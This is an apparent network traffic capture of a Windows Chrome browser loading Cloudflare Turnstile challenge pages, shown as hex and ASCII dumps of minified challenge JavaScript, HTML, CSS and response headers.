2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 Data Ascii: "ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"fbD
2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 65 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 Data Ascii: .setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},ee(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writ
2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 Data Ascii: nfigurable:!0}}),ee(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,ar
2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 62 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b Data Ascii: tion(e,t,a){var o=Tt(t.params,!1),c="h/".concat("b","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(a);

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:17 UTC	836	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/tc1qk/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Referer: https://reasdti.org/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:13:17 UTC	1297	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:13:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 28103 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: default-src 'none'; script-src 'nonce-raGMtKtKANNO6sX5' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self'; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; sandbox allow-same-origin allow-scripts allow-popups allow-forms cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2025-03-21 18:13:17 UTC	411	IN	Data Raw: 63 72 69 74 69 63 61 6c 2d 63 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2c 20 55 41 2d 42 69 74 6e 65 73 73 2c 20 55 41 2d 41 72 63 68 2c 20 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 4d 6f 62 69 6c 65 2c 20 55 41 2d 4d 6f 64 65 6c 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 50 Data Ascii: critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-P
2025-03-21 18:13:17 UTC	1030	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 65 26 23 78 32 37 3b 3b 20 73 63 72 69 70 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 63 65 2d 72 61 47 4d 74 4b 74 4b 41 4e 4e 4f 36 73 58 35 26 23 78 32 37 3b 20 26 23 78 32 37 3b 75 6e 73 61 66 65 2d Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="x-ua-compatible" content="IE=Edge,chrome=1"> <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'nonce-raGMtKtKANNO6sX5' 'unsafe-
2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 6d 65 73 20 66 69 6c 6c 66 61 69 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 33 30 70 78 20 30 20 30 20 23 64 65 31 33 30 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 32 33 32 33 32 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 2d 64 61 72 6b 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 66 66 66 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 30 31 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 Data Ascii: mes fillfail{to{box-shadow:inset 0 30px 0 0 #de1303}}@keyframes fillfail-offlabel{to{box-shadow:inset 0 0 0 30px #232323}}@keyframes fillfail-offlabel-dark{to{box-shadow:inset 0 0 0 30px #fff}}@keyframes scale-up-center{0%{transform:scale(.01)}to{transfor
2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 61 6c 69 67 6e 3a 72 69 67 68 74 7d 23 6f 76 65 72 72 75 6e 2d 69 2c 23 73 70 69 6e 6e 65 72 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 70 69 6e 20 35 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 68 65 69 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 66 61 69 6c 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 35 35 2c 2e 30 38 35 2c 2e 36 38 2c 2e 35 33 29 20 62 6f 74 68 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 64 65 31 33 30 33 7d 23 66 61 69 6c 2d 69 2c 23 73 75 63 63 65 73 73 2d 69 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 64 69 73 70 6c 61 79 3a 66 Data Ascii: align:right}#overrun-i,#spinner-i{animation:spin 5s linear infinite;display:flex;height:30px;width:30px}#fail-i{animation:scale-up-center .6s cubic-bezier(.55,.085,.68,.53) both;box-shadow:inset 0 0 0 #de1303}#fail-i,#success-i{border-radius:50%;display:f
2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 3a 23 30 61 61 39 33 37 3b 66 69 6c 6c 3a 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 78 70 69 72 65 64 2d 63 69 72 63 6c 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 74 69 6d 65 6f 75 74 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 39 39 39 3b 66 69 6c 6c 3a 23 39 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 65 78 70 Data Ascii: hadow:inset 0 0 0 #0aa937}.theme-dark .success-circle{stroke:#0aa937;fill:#0aa937}.theme-dark .expired-circle,.theme-dark .timeout-circle{stroke-dasharray:166;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#999;fill:#999}.theme-dark #exp
2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 68 31 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 65 2c Data Ascii: }.theme-dark h1{color:#fff}.theme-dark #challenge-error-title{color:#ffa299}.theme-dark #challenge-error-title a,.theme-dark #challenge-error-title a:link,.theme-dark #challenge-error-title a:visited{color:#bbb}.theme-dark #challenge-error-title a:active,
2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 65 73 68 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6f 76 65 72 6c 61 79 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 3b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 6c 69 6e 6b Data Ascii: esh-link:active,.theme-dark #timeout-refresh-link:focus,.theme-dark #timeout-refresh-link:hover{color:#949494}.theme-dark .overlay{border-color:#ffa299;color:#ffa299}.theme-dark .error-message,.theme-dark .error-message a,.theme-dark .error-message a:link
2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 7d 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 34 70 78 20 34 70 78 20 30 3b 68 65 69 67 68 74 3a 31 32 70 78 3b 6c 65 66 74 3a 35 70 78 3b 74 6f 70 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 34 35 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 77 69 64 Data Ascii: :checked~.cb-i{background-color:#fff;border-radius:5px;opacity:1;transform:rotate(0deg) scale(1)}.cb-lb input:checked~.cb-i:after{border:solid #c44d0e;border-radius:0;border-width:0 4px 4px 0;height:12px;left:5px;top:0;transform:rotate(45deg) scale(1);wid
2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 20 73 70 61 63 65 2d 65 76 65 6e 6c 79 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6f 76 65 72 72 75 6e 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 7b 6d 61 72 67 69 6e 3a 30 Data Ascii: ontent:center space-evenly;visibility:visible}.size-compact #expired-text,.size-compact #overrun-text,.size-compact #timeout-text{display:block}.size-compact #expired-refresh-link,.size-compact #timeout-refresh-link,.size-compact .error-message a{margin:0
2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 23 74 65 72 6d 73 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 30 70 78 7d 23 74 65 72 6d 73 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 3a 30 20 2e 32 72 65 6d 7d 23 74 65 72 6d 73 20 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 23 74 65 72 6d 73 20 61 2c 23 74 65 72 6d 73 20 61 3a 6c 69 6e 6b 2c 23 74 65 72 6d 73 20 61 3a 76 69 73 69 74 65 64 7b 63 6f Data Ascii: {margin-left:0;margin-right:16px}#terms{color:#232323;display:inline-flex;font-size:8px;font-style:normal;justify-content:flex-end;line-height:10px}#terms .link-spacer{margin:0 .2rem}#terms a{display:inline-block}#terms a,#terms a:link,#terms a:visited{co

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:18 UTC	772	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=923f6c22fa388c73&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/tc1qk/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:13:18 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:13:18 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 119940 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 923f6c26aec01a2c-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:13:18 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 43 75 55 53 37 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 Data Ascii: window._cf_chl_opt.CuUS7={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflar
2025-03-21 18:13:18 UTC	1369	IN	Data Raw: 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f Data Ascii: 3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20informatio
2025-03-21 18:13:18 UTC	1369	IN	Data Raw: 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 67 75 69 64 65 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 61 75 78 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 4a 2c 65 4d 2c 65 4e 2c 65 51 2c 65 52 2c 66 68 2c 66 69 2c 66 6d 2c 66 6e 2c 66 75 2c 66 79 2c 66 43 2c 66 46 2c 66 49 2c 66 4b 2c 66 4c 2c 66 Data Ascii: e_feedback_description":"Send%20Feedback"},"polyfills":{"feedback_report_guideline":false,"feedback_report_aux_subtitle":false,"feedback_report_output_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eQ,eR,fh,fi,fm,fn,fu,fy,fC,fF,fI,fK,fL,f
